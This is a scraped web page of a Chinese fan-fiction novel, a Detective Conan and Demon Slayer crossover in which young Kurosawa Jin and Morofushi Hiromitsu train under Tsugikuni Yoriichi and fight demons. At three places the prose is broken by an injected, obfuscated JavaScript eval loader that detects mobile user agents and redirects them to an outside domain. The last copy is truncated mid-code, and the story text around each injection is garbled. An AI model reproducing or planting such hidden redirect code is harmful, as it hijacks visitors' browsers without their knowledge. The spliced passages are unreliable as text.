“作为交换,我可以帮你做晚饭。” 黑泽少年对杀手沦落到厨房伙夫这一巨大落差感想平平,如果可以的话,他甚至能帮对方整理房间。 能屈能伸嘛,讨好人的事儿他又不是没做过,只不过被讨好的对象是那位教官先生,最后被他一刀割喉。 并没有想要对继国缘一先生割喉的意思,他认为自己做不到。 “……我有住处,不用。” 第一句话是回答,第二句话是回应。 很寡言,也足够温柔。 黑泽阵再次给男人下了判断。 他从未见过这样集矛盾于一身的人,很奇怪,他想。 这样的人,在这种几乎肉眼可见的危险世界活下去的理由是什么?强大的实力吗?还是别的缘故……?继国缘一是特别的,此时此刻,他只能做出这种判断,至于有什么特别之处,接下来可以慢慢探明。 二人行走了大概半个小时,继国缘一才停下了脚步。 出人意料的是,缘一的住所还算不错,它处于小镇的边缘,此处已经能看到些许住所,只不过几乎没有行人在夜间闲逛。对方的住处虽然不够宽敞,但容纳两人已经足够。房间干净整洁,同样也过于空旷,只有必要的生活物品,没有一丝烟火气。 “今天已经很晚了,现在要睡觉吗?”剑士意外的体贴,不过他上下打量了一下跟在他身后的银发少年,稍显迟疑地开口道,“我没有……合适的衣物。” “或者,你饿吗?” “我有这个。”黑泽沉默,他从身后背着的‘简易黑色布料制成的包裹’里掏出一根黑漆漆的棍子,很有‘未来’敲击工藤大侦探头部那根的风范,“蛇肉干,昨天在山里烤了蛇之后晾了一夜,还没有变质。” “……啊。” 继国缘一眨了眨眼,“那是……蛇肉干?” “是的。”黑泽阵笃定。 于是他们的晚饭就是蛇肉干和野果,由黑泽少年提供。 能量收集进度[7/100%] 而此时此刻,刚刚照顾老婆婆睡下的诸伏景光从破烂的床铺上爬起来,他小心翼翼地走去厨房,米缸里只剩下了铺满了缸底的糙米,旁边放着几块可以煮食的植物根茎,老婆婆曾经的家人送来了一些兽肉,被晾干后吃了一些,还剩下大半。 “接下来是换一些米……蔬菜的话,附近有野菜可以收集吗?”他蹑手蹑脚地准备返回自己睡觉的地方,却在路过窗边的时候突然听到了一种奇怪的声音——像是什么的咀嚼声。 是野兽? 诸伏景光停住了脚步,他下意识地屏住呼吸。 或许不是,这里虽然是村子边缘,但周围也有不少住户。大家在远处扎了篱笆,也放了火把,更是有青壮的猎人居住在附近,如果有野兽闯入,不可能没有一点动静。 那么……会是鬼吗?! 他的心脏如擂鼓般跳动,像是要跳出自己的喉咙。 那种,食人鬼?! 15. 十三 武器……我需要一把武器。 诸伏景光狠狠地掐着自己的大腿根,试图唤回自己的理智和行动力,他甚至觉得自己腿软到无法移动。不过很快,他就强行唤醒了自己的身体,然后从角落拾起一根尖锐的木柴。 聊胜于无。 让婆婆现在醒来逃跑还是不太现实,咀嚼声越来越近,伴随着重物在地上拖行的声音。诸伏景光猜,那只鬼(存疑)一定在渐渐靠近,说不定等下就要冲入婆婆的家中,厨房位于屋外,是由草棚遮蔽的一处空地,而婆婆在屋子里睡觉,她的耳朵不太好用,说不定不会被外面的声响吵醒。 ……我需要救她吗?我能救她吗? 诸伏景光的掌心汗津津的,他甚至感觉自己的手指已经没了知觉。男孩儿狠狠地咽了一口唾沫,随即放轻脚步向院子里移动。所谓的院子,也只是矮小的藤条编织成了篱笆,隔绝出一块便于活动的空地而已。矮小的门也挡不住什么冲击,连诸伏景光现在的孩童身躯都能轻易将其推开。 按照外面传来的动静来看,那只鬼应该会一下子就把可怜的门压倒吧。 近了,更近了。 诸伏景光小心翼翼地躲藏到院子角落,他探出头去,外面的情景看不太清,只能看到隐隐约约的轮廓——是比外面那颗几十年树龄的树还高的庞然大物。 那家伙的目的地确实是这里。 黑发的孩童闻到了一股浓烈的血腥味儿,那味道随风传到他的鼻端让他回忆起了过去的经历,很糟糕,他似乎开始耳鸣了。 ……爸爸,妈妈。 过往的噩梦仍旧是诸伏景光最不想面对的东西,那血腥味儿仿佛从爸爸妈妈身上流出来,伴随着他们失去的生命一同渗透到地下,像是无法抹去的污渍。 借着朦胧的月光,诸伏景光用那双适应了黑暗的眼借着月光逐渐看清了走过来的东西究竟是什么——它看起来像是灾难电影里才会出现的怪物,通体绿色,身上长着大大小小的密集肉瘤。它拥有一张几乎有寻常人三倍大的脸,五官挤在一起,嘴巴却很大,血盆大口张着,口水顺着嘴角流了一身,那口参差不齐的牙中还有血色的……肉丝。 诸伏景光瞳孔微缩,他看到了怪物手中拿着的是什么,那是属于人类的、被啃食了一半的手臂。 是鬼……是食人鬼! 近了,更近了。 他猛地攥紧了手中的木柴,随即鼓足勇气,像是孤注一掷般从篱笆里面跳出来,刻意弄出了极大的动静。 “来追我啊!丑八怪!” 男孩儿大喊。 是‘大义’吗?是无所畏惧吗? 不,诸伏景光知道,都不是。 他不是什么勇敢的家伙,看到怪物会怕到腿软、闻到血腥味儿会想吐,想到那玩意儿会吃人就想哭,他现在已经在哭了,泪盈于眶,就连前路都看不清楚,更别说靠如今这幅身躯,什么都没办法做到。 但至少……至少在被怪物吃掉之前,他能让婆婆变得平安。 虽然叫她婆婆,可对方也才四十多岁,在现代还正值壮年,可在这个时代,对方的脸上是深刻的沟壑,手指如同枯枝般枯瘦黝黑,耳朵和眼睛都不太好用,牙也掉了两颗。 就是这样一个看起来不太体面的女人将他带回家,给他喝了一碗热汤……那热汤并不好喝,带着土腥味儿和一股子涩味,但诸伏景光知道,那碗热汤救了他的命,更让他拥有了在这个时代活下去的勇气。 只是一碗汤而已,诸伏景光抬手擦了一把眼泪,他借着灵活的身躯飞快地跑进了不远处的林子里,背后的怪物速度很快,但没关系,他的身体很小,也很灵活,至少还能支撑一会儿。 再坚持片刻就好,这样婆婆就安全了。 而此刻远在另一处,黑泽阵再次咳嗽出声,他的肺部刚才传出来一阵刺痛,继而导致了生理反应。继国缘一就静静地坐在院子里,他的声音很平稳,在传授战斗的方法时仍旧没有什么情绪波动。 “从现在开始,你需要按照我传授的方式进行对呼吸的调节,无论是吃饭、睡觉、行走和战斗时,都不能让它断掉,然后开始进行体能的训练。” “最开始无法保持没关系,从头开始,假以时日,你会让它变成你身体的一部分,这样,一切便会水到渠成了。” 之前继国缘一传授了他一套用于战斗的呼吸法,对呼吸的频率、方式都有要求。那种方法闻所未闻,不过黑泽阵还是选择尊重并照做——在他感觉肺部要炸掉的时候,继国缘一仍旧说程度不够,他还需要继续努力,让全身的脏器血管被扩充得更加彻底。 好怪,但因为传授这种呼吸法的人是继国缘一,所以黑泽仍旧选择尊重。 “还有,我只是一个无能的人,更别说成为教导者……如果想要离开,请提前跟我说。”继国缘一很是认真滴打了补丁。 黑泽少年并不理解对方将‘无能之人’挂在嘴边的举动,继国缘一是个天才,这毋庸置疑,黑泽有眼睛,当然能够看出对方的不凡。 或许这就是强者的个人习惯?习惯于自谦、甚至是自我贬低? 明天黑泽阵的任务就是去不远处的山脚下,从山脚跑到山顶然后再下来,这让他多少有了些许熟悉的感觉——从前被丢到荒岛上时,也经历过濒临绝境的跑酷日常,只不过失败的代价是死亡而已。 他成功甩掉了追杀并且反手搞死了教官派来的追杀者,那些可是基地的好手。阶段性训练结束后,教官还罚了黑泽,关了他五天的小黑屋,理由是他毁掉了组织的固有财产。 很恶心的理由。 这样想想,如今的训练还算人道,但加上那个什么呼吸法之后,就有点离谱了。 使用那种呼吸的方式,真的会变强……吧? “明天我将返回鬼杀队总部请辞。”他继续开口道,“你需要在太阳落山之前回到这里,如果你回来之后我还是不在,就继续等下去,不要随便外出。” “嗯。”黑泽应声,他说话的时候,特殊的呼吸节律虽然乱了一瞬,但并未停止,“为什么要请辞?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345432|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……没有杀掉鬼王,是我的过错。”缘一垂目。 “哈?” 黑泽不理解对方的脑回路。 经过与缘一的交流,黑泽得知了不少情报。已知人类以血肉之躯抵抗食人鬼,他们没有鬼的再生能力和各式各样的血鬼术,更不能断肢重生以及比鬼更强大的身体素质,多亏缘一传授的呼吸法才能勉强与鬼抗衡,就因为对方没有杀死鬼王,他就要被怪罪……吗? “还有其他原因。” 剑士的声音变得更加低沉,“总之,我无颜再与他们共事了。” “你真是个奇怪的人。” 黑泽少年拍了拍身上的灰尘,刚刚他又忘了保持所谓的呼吸法,只能继续找到刚才的感觉,肺部有些刺痛,却在能够坚持的范围内。 “……睡吧。” 继国缘一表情稍显复杂,他拍了拍黑泽的肩膀,轻声道,“你是个天才,骨骼的强度和身体的潜力也很高,假以时日,一定会成为一名出色的猎鬼人。” 哦,一个真正的天才却在说别人是‘天才’。 “啧,或许吧。” 黑泽在心里翻了个白眼,然后起身道,“好梦,继国先生。” 第二日,继国缘一早早离开,而黑泽也按照原定计划开始爬山,他听从继国缘一的指示保持着呼吸法,随即从山脚开始向山顶进发。那种感觉与昔日并不相通,特定的呼吸法的确能够增强体力,但肺部与心脏、甚至是全身的血管都因不适应这种方式而发出隐隐的刺痛,虽然可以忍耐,但他现在只是个普通的小孩子,源于生理性的承受能力不算优秀,只能一点一点调整状态让自己逐渐适应这种感觉。 很累,但他的眼睛却越来越有神。 强大……只要有足够强大的实力,他才能够继续活下去,并且得到自己想要的一切。 那么,继续爬山吧。 而黑泽不知道的是,就在他爬山的时候,可怜的诸伏景光正在被一名成年男性扛在肩上,他已经彻底脱力,身上脏兮兮的,看起来可怜极了。 “坚持下去,小子,很快就到达鬼杀队的驻地了!” “你真是好样儿的,在鬼的攻击下坚持到了凌晨,这才让我们有机会带你回来!”这位男性很是爽朗,声音响如洪钟,毋庸置疑,他是一名纯正的人类。 “……多谢夸奖。” 男孩儿的声音有气无力,“您的肩膀压到了我的胃部,好痛。” “哦哦哦抱歉!” 隶属于鬼杀队的男性队员一个使力便把诸伏景光甩到了自己怀里,转为公主抱的姿势,“这样总可以了吧,回到驻地你就能吃点东西填饱肚子了!” “……好晕。” 刚刚体验过生死时速的诸伏景光并没有其他想法,现在的他只想着找到那位名为黑泽的罪魁祸首,然后狠狠揍对方一顿。 所以他为什么要经历这些……该死的他只是拦了一次车而已! 正在爬山的黑泽:……阿嚏! 呼吸又乱了。 16.十四 在继国缘一从鬼杀队归来之后,黑泽便收拾了行李离开这座小镇,跟着这位从鬼杀队离职的剑士,准备向另外的城市进发了。 ……不知道这位继国先生在低落些什么,明明一切都不是他的错。 真是不懂你们武士的脑回路。 很麻烦,他背着包袱深一脚浅一脚地跟在对方身后,不仅需要长时间赶路,还要一直保持着呼吸法的长时间集中,很累,但是效果非常好。继国缘一虽然在教导学生的时候很是简单粗暴,但他为人非常周全,甚至还舍下脸皮,在离开之前寻找友人要了一把无主的日轮刀。 给七岁的孩童使用确实不太趁手,不过把长度稍稍改造一下倒是可以继续剑技的练习,还能用来杀鬼。 没错,继国先生相信实战让人进步,他们白天寻找合适的地方进行短暂休整,夜间才开始赶路,这样直面食人恶鬼的机会就会大大增加。遇到那些普通的鬼,继国缘一就拿来给黑泽练手,如此下来,黑泽的剑技自然进步飞快,虽然还没有摸索出属于自己的呼吸法,但斩断一些普通食人鬼的头颅这种事,已经可以轻松做到了。 ……不知道为什么,黑泽非常喜欢这种活动,感觉自已斩完鬼之后郑整个都舒展开了,果然冷兵器和近战才是男人的浪漫。 偶尔,继国缘一会停下来进行一对一的指导,他那双眼似乎什么都可以看透,就连呼吸的瞬间错乱、肺部扩张的幅度不够、血管内部血液流速过慢这种事情都能被他指出来……说真的,令人有些毛骨悚然。 轮回了这么多次,黑泽终于大开眼界,幸亏他的世界不存在这种几乎是卡着bug在身上堆人设的存在,不然他有极大的可能性在给组织当牛做马的途中遇到这种类型的人,然后被打击到道心破碎。 哦,不如说想到了老登boss反水贝尔摩德还有一堆卧底废物窝里反和主角光环贴了一身的侦探与他的亲友团们,就已经开始心碎了。 继国先生仍旧沉默寡言。 彼时已经是他们出发后的第五日,距离最终目的地仅有不到半天的路程。刚刚结束一场实战教导,黑泽有些疲惫,他坐在路边平整的石块上,在燃起的火堆上方转动着用树枝做成的烤肉装置。 之前在林子里抓到一只看起来很肥的野兔,正好用来当午餐——继国缘一那家伙虽然也擅长在野外烹饪,但烤出来的兽肉也仅仅是‘能吃’的地步,在吃过两次之后,黑泽果断抢过了烹饪食物的权力。 请继国缘一先生专心斩鬼就好了。可是……让小孩子做饭,日呼大人是屑啦! 黑泽在烤肉的间隙瞄了一眼地图,诸伏景光的方位变了,但这次却距离他开拓过的地图边缘很近了。他仔细想了一想,对方应当即将进入人类聚集的中型城镇,应当会更加安全吧。 现在不是跟对方碰面的时候,没准那家伙的正义伙伴光环起效果,会有另一番了不得的际遇呢。 黑泽其实不太在乎诸伏景光的生死,996对他的判定其实有一些误差——比如说他并不介意世界再次重开,无所谓世界毁灭、他自己也被炸成灰烬。不过拉诸伏景光下水也只是想要验证一些事情而已,如果不是工藤新一现在还是个小崽子,他也不至于找到一个在原世界线中早早就死掉的炮灰。 996说这家伙是什么白月光……什么白月光?愚蠢到为了那个腐败无能的国家奉献出生命的白月光吗?真是天真可笑。 总之,希望对方可以自求多福了。 “你用过短兵器,匕首?”继国缘一像是闲聊般将自己的疑问讲出口,“还有,我并未教过你如此干脆利落的杀招。”他指的是对战之时黑泽的一招一式——虽然不成章法套路,却招招都冲着人的要害去,那是类似于忍者的存在才会用的战斗方式,一个七岁小孩子却对此十分熟练。 是完全从实战中总结出来的战斗方法,过于实用……不如说问题就在于它太实用了,如果不是因为使用这些技巧的是个小孩子,可能有些鬼杀队剑士都得在这种杀人技面前吃亏。 “习惯了,”黑泽阵没有解释的意愿,但他早就知道继国缘一面前说谎是一件很愚蠢的事情,故而只是很寻常地说出了实话,“一直以来,我都是被按照‘杀人者’的方向来培训的,只不过现在变成杀鬼了。” “……使用剑技和呼吸法,应该忘掉那种战斗方式。” 继国缘一张张口,他不知道该说些什么,许久之后,才若无其事地继续自己的话题,“所以接下来还是想办法调整吧。” “嗯。” 黑泽很自然地转变了话题,他将烤好的兔腿递了过去,“喏,给你。” 继国缘一使用的是日之呼吸,这玩意儿很显然并不适合黑泽,那是一切呼吸法的起始,如今鬼杀队的队员皆因继国缘一的传授才找到适合自己的呼吸法。 据说呼吸法多与个人的特质相符,比如说继国缘一的性格就如同太阳一般强大、温暖、包容,如今的炎柱也如同烈火一般热情明亮,水柱也像是包容万物的水,温和且内敛。 ……我会领悟出什么呼吸,伯//莱、塔呼吸吗? 黑泽少年在心底默默讲了个冷笑话,随即给自己也撕了一块兔肉。 好吃。 顺其自然、顺其自然,不要多想,多想不如吃肉。 [能量收集进度12%/100%] 看来继国缘一的确是重要人物,黑泽想。 不过无所谓,能量收集的方式他不想知道,有用就行。 他们之后的落脚点是名为出羽城的城镇,这里是一座相当干净的城池,城中衣衫褴褛的人也少了许多,大家看起来都很体面,在这个时代算是很繁华的城市了。 继国缘一选定的住所在城东,环境清幽且人迹罕至,很适合他们两人居住。黑泽倒是有些惊讶,没想到缘一这家伙还算是个有钱人——这宅子可是对方亲自买下来的。 说真的,黑泽不太喜欢这个时代。一切都贫瘠无趣到让人无法适应,他无数次想念自己的保时捷和伯//莱""塔,还有一发就能送人上西天的狙击。枪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351703|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这些日子他也见识了生活在这个时代的平民们过着怎么样的生活,不至于忧国忧民——这又不是他的国家管他去死,更不至于心怀悲悯,但确实不太适应。就像是一个现代的文明人被丢进了由野蛮和未开化填满的牢笼中一样,他每天都想着彻底远离。 虽然黑泽自己本身也不是什么真正的文明人。 “在想什么?” 继国缘一倒掉已经变得浑浊的水,放下了挽起的袖子,“晚上吃萩饼吗?” “肉干还有一些,煮点汤来喝吧。” 他起身接过了男人手中的水盆,把擦手的布巾递过去,“没想什么,只是刚刚在院子里欣赏夜色……似乎触摸到了什么不一样的东西。” “唔?” 继国缘一又用那种似乎可以看透一切的眼神打量了片刻,随即从一旁抽出木刀:“试一下?” ……不愧是行动派啊继国缘一! 呼吸、让空气在肺部充盈,控制肌肉的收缩和血管的流动性。双手握住日轮刀(缩小版),然后在身体的状态最适合的时候猛地拔刀、冲锋。 他刚刚注视着夜空,今夜有月、无星,有一些风,不大,还有蝉鸣。 是很安静,很适合放空自己的夜晚。 今晚是上弦月……啊,月光过于温柔了。 黑泽阵以为比起白日,自己大抵更适合生活在夜晚。无论过去还是现在,他都习惯于在夜间行动,杀人,或者……嗯,杀鬼? 太讽刺了,无论从什么层面上来讲都过于讽刺了。 他脚下施力跃到半空,随即刀光如同今晚的上弦之月般在继国缘一身前突兀地闪现。 “……” 当然这种剑技不可能对继国缘一造成伤害,可那位强大的剑士居然在黑泽用出了属于自己的呼吸法之后罕见地愣了神。 “这是……” “月光,”黑泽一击未中,索性收回了手中的日轮刀,“它脱胎于今晚的上弦月,算得上是月之呼吸,大概也是一种衍生的呼吸法吧。” “……的确如此。” 继国缘一喃喃道,“我大抵没有说过,曾经有一位使用月之呼吸的剑士,他非常强大,但是……” “嗯?” 琴酒没想到居然真的有月之呼吸,所以那位剑士是谁?他的脑回路居然跟对方保持了一致吗?不知道有机会能不能交流一二。 他又不会放弃变强的机会。 “你的月之呼吸与他的不同,两者之间有着本质性的差别。”继国缘一表情复杂,“那位剑士是我的兄长,他现在……” “已经背叛了人类,成为一名恶鬼了。” “……啊。” 虽然有些惊讶,但黑泽倒是有了一种‘果然如此’的感觉。所以说继国缘一道愧疚也有一部分源于那位兄长吗? “真可惜,没办法找他交流一下心得了。”他没有过多的惊讶,这是这样平淡地开口,让心情本就有些沉痛的继国缘一脸上的表情变得更加复杂了。 17.十五 将个体投放到某一时代,就像是融入到江河中的一滴水,哪怕最开始仍旧维持着自我,时间久了,也不得不被迫与其合为一体。 所以黑泽也好,诸伏景光也好,都需要一个锚点——一个不会轻易迷失的锚点。 时间如流水般向前行走,他们已经在这儿呆了三年,两年前,剑技初成的黑泽带着继国缘一亲自撰写的剑术手札向对方道别。他知道继国缘一不会永远停留在同一个地方,对方有事情要做,而碰巧,他也是。 继国缘一在分别之前仍旧问他,说你的剑会指向人类吗? 他答:当然不。 他的剑永远不会指向人类,‘人与鬼的对立’才是维持着这个世界运转的核心点。鬼王的诞生意味着人类原本就艰难的生存环境再次被挤压,而继国缘一则是鬼王的宿敌,更是防止这个世界还没等形成就彻底崩塌的保险栓。 ……所以未进化完成的世界都搞这套吗?不理解,也不想理解。 一年的时间足够黑泽阵摸清这个世界的基本情况、以及隐藏在表象之下的某些东西。继国缘一成为了流浪剑士,他每走到一处地点就会将盘踞在那处的恶鬼斩杀殆尽,这几年偶尔也会遇到隶属于鬼杀队的昔日同僚。有些人仍旧口中嚷嚷着继国缘一应切腹谢罪,有些人倒是表情复杂,哪怕缘一救了他们,也不曾开口道一声谢。 黑泽曾经目睹这一切,缘一从未反驳,只是那双眼中的光芒渐渐熄灭,明明是伟岸高大的可靠身影,某些时候居然显得有些萧索。 人心太过复杂,黑泽并没有兴趣了解他们之间的纠葛,更没有什么所谓的同理心。这个时代对‘武者’的要求比他想象的还要荒谬,加上继国缘一拥有比常人更高的道德水准,这让他明明已经是当世的最强者,却仍旧被责任和道德束缚,甚至于认为自己是无用之人。 黑泽知道自己跟对方算不上一路人,故而在继国缘一想要继续踏上斩鬼之路前与其道别。他只是个孩子,虽然这一年个子向上窜得老高,比这个时代的许多成年人都高,但缘一仍旧不太放心,甚至想要将他托付给鬼杀队。 “得了吧,缘一。” 跟缘一混熟之后,黑泽阵也懒得对这家伙使用尊称,他嗤笑一声,带了几分讽刺的意味回应道,“我去鬼杀队?那群家伙看到我使用的呼吸法、再知晓我是继国缘一教导出来的人,怕不是让我当场切腹谢罪呢。” “不……” 继国缘一终究是没有否认,只是同意了黑泽自行离去的请求,因为无论如何,他都没办法让一个小孩子与他一同背负这份沉甸甸的罪孽。 月之呼吸……继国严胜,兄长。 已经,回不到过去了。 与继国缘一道别之后,黑泽终于是收拾了行囊,向诸伏景光所在的地方进发。 他们之间的距离比想象中的近,不过在这之前,黑泽总是在跟继国缘一各处走动,导致他一直没有时间去寻找对方。 或许是有另外的原因——他想看到那个宁可死去都不肯求饶一句的卧底先生在这种情况下独自一人能够做到什么地步。 景光:我现在只是个高中生,为我发声、为我发声啊! 当然,卧底先生(未来式)在这个时代生活得很好。 黑泽阵在与缘一分别两个月之后遇到了对方。他这一路上仍旧跟从前没什么两样,风餐露宿,夜间出行,遇到鬼就使用剑技打败对方,然后将其细细砍成臊子。 很适合练习剑术的精准控制。 这种方法源于最初的最初,他在竹林中目睹了继国缘一瞬间使出将鬼舞辻无惨斩成了数千肉块的剑技,黑泽阵觉得这种方法很好,非常适合剑技的精进,不过被他杀掉的鬼似乎不这么想——无论如何,将几乎有两个成年人高的恶鬼砍到哭着喊着想晒太阳,黑泽少年还真是有些天赋异禀呢。 痛哭流涕的鬼:魔鬼!这家伙才是真正的魔鬼啊! 擦净了日轮刀上残留的污渍后,他迈步走向有人群聚集的村庄,诸伏景光就在那里。 他们在分别了近一年之后,再次重聚。 然后黑泽少年就被真·拳打脚踢了。 诸伏景光的年纪本来就比黑泽要小上许多,来到这个世界后,黑泽回到了自己七岁时的状态,可景光要更小一点,还是个还没有长到成人腰部的小鼻嘎。 小鼻嘎居然加入了鬼杀队,虽然这个年纪不会被当成剑士来培养,但却可以呆在后方做一些轻巧的活计,每个月还能得到一些工钱,方便他在这个时代生存。 有以紫藤花为家纹的家族被鬼杀队从恶鬼的手中救了下来,他们首先在自己的城池里开设了供给鬼杀队队员们休息的据点。诸伏景光就在这里,平日做一些照看受伤队员的工作,搭配上现代人的卫生观念,现在已经是合格的护士了呢。 虽然这位‘护士’还是个稚嫩的小家伙。 在外出购买食材的时候,诸伏景光发现了独自一人坐在小食摊角落的银发孩童,对方虽然年纪不大,个子却已经跟这个时代的成年人差不多高了——缘一等人不算,那些被世界‘记录’的家伙早就脱离了真实的历史背景,身高两米也没什么可惊讶的。 虽然没有几乎要达到腰间的长发,但诸伏景光一眼就看出了这家伙是谁。 就是那个脑子有问题、随随便便把他带到这个时代然后销声匿迹的罪魁祸首。 “黑!泽!阵!” 他将尚未装上食物的篮子丢了过去,直冲对方的头部。 黑泽:…… 他稍稍偏头就挡住了来势汹汹的攻击,然后伸出手将看起来比高中生诸伏景光还要可笑的小家伙直接拎到半空中,“我说,好歹让你体验了一把主角待遇,不至于这样绝情吧。” “……你那是什么话!”诸伏景光气到脸颊通红,双手双脚止不住地扑腾,“什么鬼的主角配角!你这明明是绑架。” “我可是征得了你的同意。” 黑泽咂咂嘴,将对方放了下来,“看来你也相当如鱼得水嘛。” 诸伏景光大抵是发现自己没办法对可恶的黑泽阵造成有效攻击,只能气鼓鼓地抱臂坐到一边:“胡扯什么,哪里又如鱼得水了?” 来到这个陌生的时代,变成了软弱无力的小孩子,又遭遇了食人的恶鬼。没有崩溃都算他心智强大,然而始作俑者居然在说什么‘如鱼得水’? 诸伏景光是个脾气很好的人,但此时此刻,他却出离地愤怒了。 刚刚两人的动作已经引起了些许骚动,不过接下来两个人又坐到了一起,大家也就觉得这两个孩子是认识的,就将目光都移走了。诸伏景光也怕再引起什么不必要的麻烦,只能咬牙切齿地低声开口道:“把我丢到这里,我还需要谢谢你吗,绑架犯?” “不谢。” 黑泽阵恬不知耻。 的确如黑泽所想,诸伏景光遭遇了恶鬼并且活了下来,他现在在鬼杀队的庇护下生活,虽然忙碌了一点,但足够安全。这个时代太过混乱,人命贱如草芥,一个小孩子想要独立存活下去简直难上加难。 哪怕他拥有堪比成人的灵魂也是如此。 黑泽阵沉默,他看了看诸伏景光,又望了望天。 大概是过往轮回的经历太让人印象深刻,他总是没办法将诸伏景光当成一个未成年的高中生,故而也就选择性地忘记了对方可能会遇到的困难。在他眼中,诸伏景光是潜入了组织的卧底,是狙击技术强大的狙击手,也是心怀光明的殉道者。 唯独不是天真孱弱的孩童,又或者是柔弱的高中生。 ……咳,经验主义害死人,现在的诸伏景光是个货真价实的小崽子,他需要忏悔。 就忏悔一秒。 “我都说了,拯救世界啊诸伏君。” 黑泽阵也同样压低了声音,“之前没想到我们并未降落在同一地点,今天你忙完之后去村子东南方向、门口有两颗枣树的废弃房屋中等我,我们再细谈。” 当夜,黑泽就跟诸伏景光细细交谈了近两个小时。有许多细节并未一一告知,但与对方息息相关的地方,他都没有隐瞒。 因为没必要隐瞒。 拯救世界?他原本就不在乎活着或者死去,他就是这样的人,无父无母、无根无萍,没有友人更没有爱人,哪怕是跟世界一同炸成灰烬也无关紧要。但诸伏景光不同——那是个常规意义上的‘人’,拥有羁绊、心向光明。 “总而言之,就是这种情况。” “你拥有了这等与科学原理相悖的经历,就该知道我并没有欺骗你——或者说,欺骗你有什么好处吗?” 与成人后的黑泽阵不同,如今还算是个孩子的他并未长成日后那副攻击性极强的样子。他双颊上的软肉还没有消退,眼型不似日后的狭长,看起来倒是有几分乖巧的意味。 诸伏景光收回了发散的思维后抖了抖,天杀的他居然觉得这个人贩子‘乖巧’,这是什么危险的想法? “……但这也太过荒谬了。”他反驳。 “我还经历过更加荒谬的事情,但很显然,这些都是事实,而你已经入局了。”黑泽拨动了一下破旧陶罐里煮着的蔬菜粥,“这不是我临时起意,而是一种无法逃避的‘必然’。”他试图忽悠诸伏景光,“我一个人没办法做成这件事情,只能寻找个‘同伴’,一个能跟我共同前行的同伴。” “但这个同伴不该是我。”诸伏景光抱住自己的膝盖,这是缺乏安全感的下意识举动。 “我如此普通,也没有什么让人眼前一亮的才能,小说里说的什么‘普通人拯救世界’只是无稽之谈吧,不够优秀的人是做不到这些事情的。” “……为什么要否定自己呢?” 黑泽阵对这些谦虚的家伙没辙,哪怕抛去所谓的‘白月光’洗脑包,他眼中的诸伏景光也足够强大。 不是所有人都有资格成为他琴酒的合作者,但在某次轮回时,与诸伏景光进行了深度合作的他当然知道这位心中怀揣着光明的警官的身躯里,究竟蕴藏着多强的力量。 一个有才能、有底线、有诚意且能够灵活变通的人,就是黑泽阵挑选的最佳合作者。 工藤新一不行,主角君太过正义、宫野志保也不行,那孩子感情用事。 贝尔摩德和波本更不行,心思不定。 赤井秀一?为达目的不择手段,况且他不信任FBI。 至于其他人,更没有什么可说的——连合作的价值都不存在。 综上所述,诸伏景光是最佳选择,硬件条件足够,而且死得早,方便他灵活布局。 “虽然很不想承认,但我们的世界的确处于崩溃边缘,它非常不稳定,这才需要我们两个从不同的世界积攒能量,最终填补本世界的空白。”当然,事态并没有如此紧急,但黑泽阵很自然地在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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幸亏黑泽用自己的人格(虽然不知道他有没有这玩意儿)来担保,他们回去之后时间并不会过去多久,保证不影响第二天去上学交作业,不然诸伏景光可能真的会直接崩溃。 因为有朋友和亲人在等着他回家。 黑泽:……不知道为什么,突然感觉自己输掉了,可恶。 诸伏景光是个很尽职尽责的合作者,无论在哪个世界都一样。黑泽阵没有想到,他与对方的脾性出乎意料的默契,就连斩杀恶鬼的时候也可以配合得亲密无间。诸伏景光这种善良却懂得变通、温柔却不失强硬的性格也跟他的呼吸法一样,似是能包容万物,也能够斩杀一切阻碍。 是个让人舒心的角色。 两人的剑技在实战中进步得飞快,哪怕是仅仅粗通格斗的诸伏景光,如今也算是呼吸法入门了。当然,与黑泽这种从小就在实战中成长的人不一样,景光的刀仍旧不够快。 但在这个乱世自保已经足够。 他们在这两年间走过了很多地方,有一次还与缘一不期而遇。他们在云取山上相遇,黑泽阵与诸伏景光在名为炭吉的烧炭人家中寄住几日,主人家是一位很温柔的男性,而他的妻子快要临盆。 就在女人即将发动的那一晚,恶鬼来袭。 之前的日轮刀因为长度不够已经弃之不用,不过黑泽阵还在尸体堆里捡到了一把日轮刀。很普通,应当是哪位鬼杀队剑士逝去后留下的遗物,在这个年代其实也并不少见,他给自己和诸伏景光各捡了一把。虽然能够用出呼吸法,但却不太契合,毕竟不是量身定做的刀,自然不能发挥百分之百的威力。 但是可以用,就足够了。 恶鬼的实力不算太强,至少他能够在一刻钟内将其杀死。 黑泽阵十分冷静。 然后他与瞬间冲过来刀锋一前一后,将鬼的头颅砍断。 “好久不见,缘一。”他轻巧地落到了地上。 “……好久不见,阿阵。” 风尘仆仆的缘一收起手中的刀,他的右手微抬,似乎是想要揉揉眼前少年的发顶,下一刻却放弃了。 “……这、这是什么?!” 